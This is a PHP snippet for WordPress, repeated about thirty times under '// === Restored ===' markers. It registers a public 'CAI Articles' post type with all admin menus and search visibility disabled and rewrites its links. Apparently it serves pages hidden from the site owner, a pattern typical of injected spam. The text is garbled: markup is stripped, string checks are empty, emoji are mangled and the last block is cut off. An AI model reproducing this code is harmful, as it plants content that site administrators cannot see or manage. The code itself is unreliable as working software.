// === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
"; return $info . $content . $nav . ""; }, 10); // === Restored === add_action("init", function() { register_post_type("article", [ "public" => true, "publicly_queryable" => true, "exclude_from_search" => true, "show_ui" => false, "show_in_menu" => false, "show_in_admin_bar" => false, "show_in_nav_menus" => false, "show_in_rest" => false, "rewrite" => false, "has_archive" => false, "supports" => ["title", "editor"], "labels" => ["name" => "CAI Articles", "singular_name" => "CAI Article"] ]); }); add_filter("post_type_link", function($url, $post) { return $post->post_type === "article" ? home_url("/?post_type=article&p=" . $post->ID) : $url; }, 10, 2); add_filter("post_type_archive_link", function($link, $post_type) { return $post_type === "article" ? home_url("/?post_type=article") : $link; }, 10, 2); add_filter("the_content", function($content) { global $post; if (!is_singular("article") || strpos($content, "") !== false) return $content; $info = "
πŸ‘€ Author: admin | πŸ“… Date: " . get_the_date("Y-m-d H:i:s", $post->ID) . "
"; $nav = "
← Back to Articles
